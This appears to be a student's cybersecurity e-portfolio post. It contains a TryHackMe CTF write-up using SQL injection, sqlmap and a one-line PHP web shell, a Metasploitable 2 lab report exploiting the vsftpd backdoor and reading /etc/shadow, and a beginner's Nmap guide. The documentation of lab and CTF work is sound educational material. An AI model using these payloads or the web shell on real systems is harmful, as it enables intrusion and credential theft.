{"id":18,"date":"2026-05-03T18:20:02","date_gmt":"2026-05-03T18:20:02","guid":{"rendered":"https:\/\/student.wp.odu.edu\/pdamt001\/?p=18"},"modified":"2026-05-03T18:20:06","modified_gmt":"2026-05-03T18:20:06","slug":"skill-3-ethical-hacking-penetration-testing","status":"publish","type":"post","link":"https:\/\/student.wp.odu.edu\/pdamt001\/2026\/05\/03\/skill-3-ethical-hacking-penetration-testing\/","title":{"rendered":"SKILL 3: ETHICAL HACKING &amp; PENETRATION TESTING"},"content":{"rendered":"\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h2 class=\"wp-block-heading\">Artifact 7 \u2014 CTF Writeup: Web Exploitation Challenge<\/h2>\n\n\n\n<p><strong>Platform:<\/strong>&nbsp;TryHackMe&nbsp;<strong>Challenge Type:<\/strong>&nbsp;Web Exploitation \/ SQL Injection&nbsp;<strong>Difficulty:<\/strong>&nbsp;Medium&nbsp;<strong>Date:<\/strong>&nbsp;Summer 2024<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Overview<\/h3>\n\n\n\n<p>This writeup documents my approach to a web exploitation challenge involving SQL injection and privilege escalation. The challenge required identifying a vulnerability in a login form, exploiting it to access a database, and using retrieved credentials to gain administrative access to the application.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Reconnaissance<\/h3>\n\n\n\n<p>I began by navigating to the challenge URL and examining the login page. Using browser developer tools, I inspected the page source and identified that the login form submitted a POST request to&nbsp;<code>\/login.php<\/code>&nbsp;with parameters&nbsp;<code>username<\/code>&nbsp;and&nbsp;<code>password<\/code>.<\/p>\n\n\n\n<p>I then ran a basic Nmap scan to identify open ports and services:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sV -p 80,443,8080 &lt;target_ip&gt;<\/code><\/pre>\n\n\n\n<p>Results showed port 80 open running Apache 2.4.29 on Ubuntu. No other relevant ports were open.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Identifying the Vulnerability<\/h3>\n\n\n\n<p>I tested the login form with a basic SQL injection payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Username: admin' --\nPassword: anything<\/code><\/pre>\n\n\n\n<p>The application returned a successful login response, confirming that the login form was vulnerable to SQL injection. The&nbsp;<code>--<\/code>&nbsp;comment sequence was causing the password check to be ignored entirely.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Exploitation<\/h3>\n\n\n\n<p>Using&nbsp;<code>sqlmap<\/code>&nbsp;to automate further SQL injection testing:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/&lt;target&gt;\/login.php\" --data=\"username=admin&amp;password=test\" --dbs<\/code><\/pre>\n\n\n\n<p>This returned the database names present on the server. I then enumerated the tables in the target database:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/&lt;target&gt;\/login.php\" --data=\"username=admin&amp;password=test\" -D targetdb --tables<\/code><\/pre>\n\n\n\n<p>The&nbsp;<code>users<\/code>&nbsp;table was identified. Dumping its contents:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/&lt;target&gt;\/login.php\" --data=\"username=admin&amp;password=test\" -D targetdb -T users --dump<\/code><\/pre>\n\n\n\n<p>This returned a table containing usernames and hashed passwords. The admin hash was cracked using a wordlist attack with John the Ripper, yielding the plaintext password.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Privilege Escalation<\/h3>\n\n\n\n<p>Logging in with the admin credentials revealed an administrative panel with file upload functionality. I tested whether the file upload validated file types by uploading a PHP web shell:<\/p>\n\n\n\n<p>php<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>&lt;?php<\/strong> system($_GET&#091;'cmd']); <strong>?&gt;<\/strong><\/code><\/pre>\n\n\n\n<p>The upload was accepted. Navigating to the uploaded file&#8217;s URL and passing a command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#047;&#047;&lt;target&gt;\/uploads\/shell.php?cmd=id<\/code><\/pre>\n\n\n\n<p>Returned:&nbsp;<code>uid=33(www-data)<\/code>. I now had remote code execution on the server.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Flag Retrieval<\/h3>\n\n\n\n<p>Using the web shell to navigate the file system, I located the flag file at&nbsp;<code>\/home\/admin\/flag.txt<\/code>&nbsp;and retrieved it using:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#047;&#047;&lt;target&gt;\/uploads\/shell.php?cmd=cat+\/home\/admin\/flag.txt<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Lessons Learned<\/h3>\n\n\n\n<p>This challenge reinforced several important principles:<\/p>\n\n\n\n<ul>\n<li>SQL injection remains a critical vulnerability in web applications and is preventable through parameterized queries<\/li>\n\n\n\n<li>File upload functionality must validate file type, not just extension<\/li>\n\n\n\n<li>Defense in depth matters: even after gaining code execution, a properly configured web server would have limited what&nbsp;<code>www-data<\/code>&nbsp;could access<\/li>\n\n\n\n<li>Methodical enumeration \u2014 checking each step before moving to the next \u2014 is more effective than rushing toward exploitation<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h2 class=\"wp-block-heading\">Artifact 8 \u2014 Penetration Testing Lab Report<\/h2>\n\n\n\n<p><strong>Target Environment:<\/strong>&nbsp;Metasploitable 2 (intentionally vulnerable VM)&nbsp;<strong>Testing Type:<\/strong>&nbsp;Internal network penetration test (simulated)&nbsp;<strong>Date:<\/strong>&nbsp;Summer 2024<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Executive Summary<\/h3>\n\n\n\n<p>This report documents a penetration test conducted against a Metasploitable 2 virtual machine in a controlled lab environment. The assessment identified multiple critical vulnerabilities that would allow an unauthenticated attacker to gain full administrative control of the target system. All testing was conducted in an isolated lab environment with no impact on production systems.<\/p>\n\n\n\n<p><strong>Risk Rating: Critical<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Scope and Methodology<\/h3>\n\n\n\n<p><strong>Scope:<\/strong>&nbsp;Single target host \u2014 Metasploitable 2 VM (192.168.56.101)&nbsp;<strong>Methodology:<\/strong>&nbsp;PTES (Penetration Testing Execution Standard)&nbsp;<strong>Phases:<\/strong>&nbsp;Reconnaissance \u2192 Scanning \u2192 Exploitation \u2192 Post-Exploitation \u2192 Reporting<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Reconnaissance<\/h3>\n\n\n\n<p>Passive reconnaissance confirmed the target IP and that the system was reachable on the local network. No external OSINT was conducted given the lab nature of the target.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Scanning and Enumeration<\/h3>\n\n\n\n<p>An Nmap scan revealed the following open ports and services:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sV -O -p- 192.168.56.101<\/code><\/pre>\n\n\n\n<p>Key findings:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Port<\/th><th>Service<\/th><th>Version<\/th><\/tr><\/thead><tbody><tr><td>21<\/td><td>FTP<\/td><td>vsftpd 2.3.4<\/td><\/tr><tr><td>22<\/td><td>SSH<\/td><td>OpenSSH 4.7p1<\/td><\/tr><tr><td>23<\/td><td>Telnet<\/td><td>Linux telnetd<\/td><\/tr><tr><td>80<\/td><td>HTTP<\/td><td>Apache 2.2.8<\/td><\/tr><tr><td>3306<\/td><td>MySQL<\/td><td>5.0.51a<\/td><\/tr><tr><td>5900<\/td><td>VNC<\/td><td>Protocol 3.3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The vsftpd 2.3.4 version is known to contain a backdoor vulnerability (CVE-2011-2523).<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Exploitation<\/h3>\n\n\n\n<p><strong>Vulnerability 1: vsftpd 2.3.4 Backdoor (CVE-2011-2523)<\/strong><\/p>\n\n\n\n<p>The vsftpd 2.3.4 backdoor is triggered by sending a username containing&nbsp;<code>:)<\/code>&nbsp;which causes the server to open a shell on port 6200.<\/p>\n\n\n\n<p>Using Metasploit:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>use exploit\/unix\/ftp\/vsftpd_234_backdoor\nset RHOSTS 192.168.56.101\nrun<\/code><\/pre>\n\n\n\n<p>Result: Root shell obtained immediately. No credentials required.<\/p>\n\n\n\n<p><strong>Vulnerability 2: Telnet with Default Credentials<\/strong><\/p>\n\n\n\n<p>Telnet was accessible with the default credentials&nbsp;<code>msfadmin:msfadmin<\/code>, providing a second avenue for administrative access.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Post-Exploitation<\/h3>\n\n\n\n<p>With root access established, the following post-exploitation activities were performed:<\/p>\n\n\n\n<ul>\n<li>Confirmed root privileges with&nbsp;<code>id<\/code>&nbsp;command<\/li>\n\n\n\n<li>Retrieved&nbsp;<code>\/etc\/passwd<\/code>&nbsp;and&nbsp;<code>\/etc\/shadow<\/code>&nbsp;for offline password cracking (simulated)<\/li>\n\n\n\n<li>Demonstrated ability to create new user accounts<\/li>\n\n\n\n<li>Confirmed access to MySQL database with default root credentials (no password)<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Findings Summary<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Finding<\/th><th>Severity<\/th><th>CVE<\/th><\/tr><\/thead><tbody><tr><td>vsftpd 2.3.4 backdoor<\/td><td>Critical<\/td><td>CVE-2011-2523<\/td><\/tr><tr><td>Telnet enabled with default credentials<\/td><td>Critical<\/td><td>N\/A<\/td><\/tr><tr><td>MySQL accessible with no root password<\/td><td>Critical<\/td><td>N\/A<\/td><\/tr><tr><td>SSH running outdated version<\/td><td>High<\/td><td>Multiple<\/td><\/tr><tr><td>VNC accessible without authentication<\/td><td>Critical<\/td><td>N\/A<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Recommendations<\/h3>\n\n\n\n<ol>\n<li>Replace vsftpd 2.3.4 immediately with a current, supported version<\/li>\n\n\n\n<li>Disable Telnet and use SSH exclusively for remote administration<\/li>\n\n\n\n<li>Set a strong password for the MySQL root account and restrict remote access<\/li>\n\n\n\n<li>Update all services to current supported versions<\/li>\n\n\n\n<li>Implement host-based firewall rules to restrict access to sensitive ports<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>The Metasploitable 2 system is intentionally vulnerable and serves as a valuable learning environment. In a real-world context, the vulnerabilities identified here would represent an unacceptable risk. This assessment demonstrates the value of regular penetration testing: vulnerabilities that are known and documented can be remediated; vulnerabilities that are undiscovered cannot.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h2 class=\"wp-block-heading\">Artifact 9 \u2014 NEW ARTIFACT: Beginner&#8217;s Guide to Nmap for Cybersecurity Students<\/h2>\n\n\n\n<p><strong>Type:<\/strong>&nbsp;Original Educational Resource&nbsp;<strong>Created for:<\/strong>&nbsp;IDS E-Portfolio Project&nbsp;<strong>Date:<\/strong>&nbsp;Fall 2024<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>If you are just beginning your journey in cybersecurity, you will encounter Nmap within your first few weeks. Nmap (Network Mapper) is a free, open-source tool used for network discovery and security auditing. It is one of the most widely used tools in the field \u2014 used by penetration testers, SOC analysts, network administrators, and security researchers every day.<\/p>\n\n\n\n<p>This guide is written for students who have never used Nmap before. By the end, you will understand what Nmap does, how to run basic scans, how to interpret the results, and how to use that information in a security context.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">What Does Nmap Do?<\/h3>\n\n\n\n<p>Nmap sends specially crafted packets to a target system and analyzes the responses. From those responses, it can determine:<\/p>\n\n\n\n<ul>\n<li>Which hosts are online on a network<\/li>\n\n\n\n<li>Which ports are open on those hosts<\/li>\n\n\n\n<li>What services are running on those ports<\/li>\n\n\n\n<li>What operating system a host is likely running<\/li>\n<\/ul>\n\n\n\n<p>This information is foundational to both attacking and defending networks. A penetration tester uses Nmap to understand a target before attempting exploitation. A defender uses it to audit their own network and make sure only expected services are exposed.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Installing Nmap<\/h3>\n\n\n\n<p>Nmap is pre-installed on Kali Linux. If you are using another system:<\/p>\n\n\n\n<p><strong>Linux (Debian\/Ubuntu):<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt-get install nmap<\/code><\/pre>\n\n\n\n<p><strong>Windows:<\/strong>&nbsp;Download the installer from&nbsp;<a href=\"https:\/\/nmap.org\/download.html\">https:\/\/nmap.org\/download.html<\/a><\/p>\n\n\n\n<p><strong>Mac:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>brew install nmap<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Your First Scan: Ping Sweep<\/h3>\n\n\n\n<p>A ping sweep tells you which hosts are alive on a network. This is usually the first thing you do when assessing a network.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sn 192.168.1.0\/24<\/code><\/pre>\n\n\n\n<p>The&nbsp;<code>-sn<\/code>&nbsp;flag means &#8220;scan for hosts only, no port scan.&#8221; The&nbsp;<code>\/24<\/code>&nbsp;means you are scanning all 256 addresses in the 192.168.1.x range.<\/p>\n\n\n\n<p><strong>Example output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Nmap scan report for 192.168.1.1\nHost is up (0.0034s latency).\nNmap scan report for 192.168.1.105\nHost is up (0.0021s latency).<\/code><\/pre>\n\n\n\n<p>This tells you that two hosts are online: the router (1.1) and one other device (1.105).<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Port Scanning Basics<\/h3>\n\n\n\n<p>Once you know a host is alive, you want to know what ports are open. Open ports mean running services. Running services are potential entry points.<\/p>\n\n\n\n<p><strong>Basic TCP scan:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap 192.168.1.105<\/code><\/pre>\n\n\n\n<p>By default, Nmap scans the 1,000 most common ports.<\/p>\n\n\n\n<p><strong>Scan all 65,535 ports:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -p- 192.168.1.105<\/code><\/pre>\n\n\n\n<p><strong>Scan specific ports:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -p 22,80,443,3389 192.168.1.105<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Service and Version Detection<\/h3>\n\n\n\n<p>Knowing a port is open is useful. Knowing&nbsp;<em>what is running<\/em>&nbsp;on that port is more useful.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sV 192.168.1.105<\/code><\/pre>\n\n\n\n<p>The&nbsp;<code>-sV<\/code>&nbsp;flag attempts to determine the service name and version number for each open port.<\/p>\n\n\n\n<p><strong>Example output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT    STATE  SERVICE  VERSION\n22\/tcp  open   ssh      OpenSSH 7.4\n80\/tcp  open   http     Apache httpd 2.4.29\n3306\/tcp open  mysql    MySQL 5.7.30<\/code><\/pre>\n\n\n\n<p>This tells you exactly what is running. You can now research whether any of these specific versions have known vulnerabilities.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Operating System Detection<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -O 192.168.1.105<\/code><\/pre>\n\n\n\n<p>Nmap will attempt to fingerprint the operating system based on how the target responds to certain probes. This is not always 100% accurate, but it is a useful starting point.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Putting It Together: A Comprehensive Scan<\/h3>\n\n\n\n<p>For most learning scenarios, this command gives you a thorough picture:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sV -O -A 192.168.1.105<\/code><\/pre>\n\n\n\n<p>The&nbsp;<code>-A<\/code>&nbsp;flag enables aggressive scanning: OS detection, version detection, script scanning, and traceroute. Be aware that aggressive scans generate more network traffic and are more likely to be detected by security tools.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Reading Nmap Output<\/h3>\n\n\n\n<p>Every Nmap scan result has a few key fields:<\/p>\n\n\n\n<ul>\n<li><strong>PORT:<\/strong>&nbsp;The port number and protocol (e.g., 80\/tcp)<\/li>\n\n\n\n<li><strong>STATE:<\/strong>\u00a0open, closed, or filtered\n<ul>\n<li><em>Open<\/em>&nbsp;= something is listening here<\/li>\n\n\n\n<li><em>Closed<\/em>&nbsp;= port is reachable but nothing is listening<\/li>\n\n\n\n<li><em>Filtered<\/em>&nbsp;= a firewall may be blocking the probe<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>SERVICE:<\/strong>&nbsp;The name of the expected service for that port<\/li>\n\n\n\n<li><strong>VERSION:<\/strong>&nbsp;The specific software version (with -sV)<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Legal and Ethical Reminder<\/h3>\n\n\n\n<p>Nmap is a powerful tool.&nbsp;<strong>Only scan systems you own or have explicit written permission to scan.<\/strong>&nbsp;Scanning systems without permission is illegal in most jurisdictions and can result in serious consequences. In a learning context, always use dedicated lab environments like Metasploitable VMs, TryHackMe rooms, or Hack The Box machines.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Next Steps<\/h3>\n\n\n\n<p>Once you are comfortable with Nmap, explore:<\/p>\n\n\n\n<ul>\n<li><strong>Nmap Scripting Engine (NSE):<\/strong>&nbsp;Automates advanced tasks like vulnerability detection<\/li>\n\n\n\n<li><strong>Zenmap:<\/strong>&nbsp;A graphical interface for Nmap, good for visualizing results<\/li>\n\n\n\n<li><strong>Wireshark:<\/strong>&nbsp;Packet capture tool that complements Nmap by letting you see the actual traffic<\/li>\n\n\n\n<li><strong>Metasploit:<\/strong>&nbsp;Use Nmap findings as input for exploitation in lab environments<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Nmap is one of the first tools you will learn and one of the last tools you will stop using. Its simplicity is deceptive \u2014 behind a few command-line flags is a remarkably powerful capability to understand any network you are authorized to assess. Practice it regularly, document your results carefully, and always work ethically. The foundation you build with Nmap will serve your entire cybersecurity career.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Artifact 7 \u2014 CTF Writeup: Web Exploitation Challenge Platform:&nbsp;TryHackMe&nbsp;Challenge Type:&nbsp;Web Exploitation \/ SQL Injection&nbsp;Difficulty:&nbsp;Medium&nbsp;Date:&nbsp;Summer 2024 Overview This writeup documents my approach to a web exploitation challenge involving SQL injection and privilege escalation. The challenge required identifying a vulnerability in a login form, exploiting it to access a database, and using retrieved credentials to gain administrative &hellip; <a href=\"https:\/\/student.wp.odu.edu\/pdamt001\/2026\/05\/03\/skill-3-ethical-hacking-penetration-testing\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SKILL 3: ETHICAL HACKING &amp; PENETRATION TESTING<\/span><\/a><\/p>\n","protected":false},"author":26078,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","wds_primary_category":2},"categories":[2],"tags":[],"_links":{"self":[{"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/posts\/18"}],"collection":[{"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/users\/26078"}],"replies":[{"embeddable":true,"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/comments?post=18"}],"version-history":[{"count":1,"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/posts\/18\/revisions"}],"predecessor-version":[{"id":19,"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/posts\/18\/revisions\/19"}],"wp:attachment":[{"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/media?parent=18"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/categories?post=18"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/student.wp.odu.edu\/pdamt001\/wp-json\/wp\/v2\/tags?post=18"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}